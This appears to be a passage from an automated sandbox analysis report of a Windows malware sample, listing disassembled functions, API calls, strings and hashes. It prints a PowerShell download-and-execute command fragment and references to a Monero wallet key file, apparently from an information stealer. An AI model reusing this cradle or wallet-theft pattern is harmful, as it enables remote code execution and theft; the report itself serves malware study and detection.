Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: a52cfcf191093cf4dfbc2cd743a1e6441c92277635060ce7b0825e4cc20ebaea
Instruction ID: 2cdf2450af6432163caf6e7ac4337061ccc5120c63ebada4283a0595b62eb039
Opcode Fuzzy Hash: a52cfcf191093cf4dfbc2cd743a1e6441c92277635060ce7b0825e4cc20ebaea
Instruction Fuzzy Hash: 3541CB718102189ADF54FBE0C992BEDB7BABF14300F40411DE006A7591DF746A4ACFDA

Function 00689E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00689F41

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00689E67
v10, xrefs: 00689EA3
@, xrefs: 00689EF1
v20, xrefs: 00689E21

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 99b75406ac2b0171976ee0e136c84de08b980b9a0561a42c43cfb1d923c2111b
Instruction ID: 951a045b6476dbaf8debcec24796cebed710a155ac255388991a9abac25171fc
Opcode Fuzzy Hash: 99b75406ac2b0171976ee0e136c84de08b980b9a0561a42c43cfb1d923c2111b
Instruction Fuzzy Hash: 30613E70A10208DBDF14EFA4CD96FED77BAAF45304F008118F90A5F581EB706A06CB96

Function 006940B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0148DDA0,00000000,00020119,?), ref: 006940F4
RegQueryValueExA.ADVAPI32(?,0148E530,00000000,00000000,00000000,000000FF), ref: 00694118
RegCloseKey.ADVAPI32(?), ref: 00694122
lstrcat.KERNEL32(?,00000000), ref: 00694147
lstrcat.KERNEL32(?,0148E560), ref: 0069415B

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: c9b094a5120bd65a3a8586c054f7ced27c40e4e39b15cb71407ddf7996fb3267
Instruction ID: 07802b373791e756e176d0fff57a86ebd99e98c4738a18932a3b2143891a84a3
Opcode Fuzzy Hash: c9b094a5120bd65a3a8586c054f7ced27c40e4e39b15cb71407ddf7996fb3267
Instruction Fuzzy Hash: 5A4189B6D0010C6BDB18FBA0EC56FFE737DBB88304F00455DB61697181EA755B888B92

Function 00697E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00697E37
RtlAllocateHeap.NTDLL(00000000), ref: 00697E3E
RegOpenKeyExA.ADVAPI32(80000002,0147C010,00000000,00020119,?), ref: 00697E5E
RegQueryValueExA.ADVAPI32(?,0148DA80,00000000,00000000,000000FF,000000FF), ref: 00697E7F
RegCloseKey.ADVAPI32(?), ref: 00697E92

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: a24b84fbabd029b173358b7a2c97b4e895670a37fdb4bdd051fcc3337baa7d1d
Instruction ID: 7ada373f0df84e31523477aa254055fea2af42020d433445b9c9c0064b37c3f9
Opcode Fuzzy Hash: a24b84fbabd029b173358b7a2c97b4e895670a37fdb4bdd051fcc3337baa7d1d
Instruction Fuzzy Hash: 1F1170B1A44209EBDB08CF95DD49FBBBBBDFB44B14F104169F605A7680D7745C018BA1

Function 00699260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0148E278,?,?,?,0069140C,?,0148E278,00000000), ref: 0069926C
lstrcpyn.KERNEL32(008CAB88,0148E278,0148E278,?,0069140C,?,0148E278), ref: 00699290
lstrlen.KERNEL32(?,?,0069140C,?,0148E278), ref: 006992A7
wsprintfA.USER32 ref: 006992C7

Strings

%s%s, xrefs: 006992B5

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 624853afe8aa9417f01e1385c6b721e1c79f1f0fc7c7bffe2276f6fafd7fd447
Instruction ID: 22b44be23559a09b600e01ea1711c54c8118c5f2a40de5a83ef9a6f1b77d9691
Opcode Fuzzy Hash: 624853afe8aa9417f01e1385c6b721e1c79f1f0fc7c7bffe2276f6fafd7fd447
Instruction Fuzzy Hash: 8D01977550010CFFCB08DFECD988EAE7BB9FB44368F148148F9099B604C635AE509B91

Function 006812A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006812B4
RtlAllocateHeap.NTDLL(00000000), ref: 006812BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006812D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006812F5
RegCloseKey.ADVAPI32(?), ref: 006812FF

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: bea8292ea5f9cdee7ad0d77bd5c422a3f078db5b6fdf4d201b8dcf8ec57905cd
Instruction ID: 4af25865cfd4aa7625a67362c942dbc0ed2a456675e6f40a157ebc6525b52e37
Opcode Fuzzy Hash: bea8292ea5f9cdee7ad0d77bd5c422a3f078db5b6fdf4d201b8dcf8ec57905cd
Instruction Fuzzy Hash: 07011DB9A4020CBBDB04DFE0DC49FAEB7B8FB48705F008159FA0597280D6719A018B51

Function 0069C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0069C8EC
___crtLCMapStringA.LIBCMT ref: 0069C90C
___crtLCMapStringA.LIBCMT ref: 0069C931

Strings

, xrefs: 0069C896

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 25b17dbdcd913aaad30a316e8c4f490eb3581d540c7694608b904c5a4549a7d0
Instruction ID: b862dc04272d14ee22ac564ba5d931ba814a78f32c8ad17f627cb8763603f9dc
Opcode Fuzzy Hash: 25b17dbdcd913aaad30a316e8c4f490eb3581d540c7694608b904c5a4549a7d0
Instruction Fuzzy Hash: 194134B110078C5EDF218B24CD84FFBBBEEAF01314F1444ECE98A86582E2319A45DF24

Function 00696630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00696663

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

ShellExecuteEx.SHELL32(0000003C), ref: 00696726
ExitProcess.KERNEL32 ref: 00696755

Strings

<, xrefs: 006966D9

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 77ff7c66eb4e8fae6ed9f5a6e9d42807a0a0ee5fd2839aafbee09e45f4c6ec6c
Instruction ID: b6e6a7264e95985509722462fbf47d10df5a47f5d92e5fd2bac7cbf7f3262185
Opcode Fuzzy Hash: 77ff7c66eb4e8fae6ed9f5a6e9d42807a0a0ee5fd2839aafbee09e45f4c6ec6c
Instruction Fuzzy Hash: 393127B1801218ABDB58EB90DD86FDEB7BDBF04300F404189F20966191DF746A48CFAA

Function 006987C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006A0E28,00000000,?), ref: 0069882F
RtlAllocateHeap.NTDLL(00000000), ref: 00698836
wsprintfA.USER32 ref: 00698850

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Strings

%dx%d, xrefs: 00698847

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 04ea56e95a159bbe4433f8d22aa668c36d65a8c0daeab7e19f176b0da355914b
Instruction ID: c7e0a861ac91e5bf3000c6a050531de0fce3c7edb0353227afabb7b877ee9b7e
Opcode Fuzzy Hash: 04ea56e95a159bbe4433f8d22aa668c36d65a8c0daeab7e19f176b0da355914b
Instruction Fuzzy Hash: AE211FB1E40208AFDB04DFD4DD49FAEBBB9FB48715F104119F605A7680C779A901CBA1

Function 00698D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0069951E,00000000), ref: 00698D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00698D62
wsprintfW.USER32 ref: 00698D78

Strings

%hs, xrefs: 00698D6F

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 25c1c4e21020e33dd805383794ce6d8aa0c218502e09a52e60d12c8d8d726620
Instruction ID: f77331d54b21838d2b694f741d87e0fbb8019874457826e66a74c1c162caddb9
Opcode Fuzzy Hash: 25c1c4e21020e33dd805383794ce6d8aa0c218502e09a52e60d12c8d8d726620
Instruction Fuzzy Hash: 2FE08CB0A4020CBBDB04DB94DC0AE6977B8FB0470AF0000A4FD0987280DA719E008B96

Function 0068A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 00698B60: GetSystemTime.KERNEL32(006A0E1A,0148A5A0,006A05AE,?,?,006813F9,?,0000001A,006A0E1A,00000000,?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 00698B86

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0068A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0068A3FF
lstrlen.KERNEL32(00000000), ref: 0068A6BC

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

DeleteFileA.KERNEL32(00000000), ref: 0068A743

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2ba761cf2c581dde315803725c5a1a2ab56b3058f348e65c1848b434a7c78d3c
Instruction ID: 99e52da9a13297e65049025ac139a5642b0256025dab14e38f67b2e43a574610
Opcode Fuzzy Hash: 2ba761cf2c581dde315803725c5a1a2ab56b3058f348e65c1848b434a7c78d3c
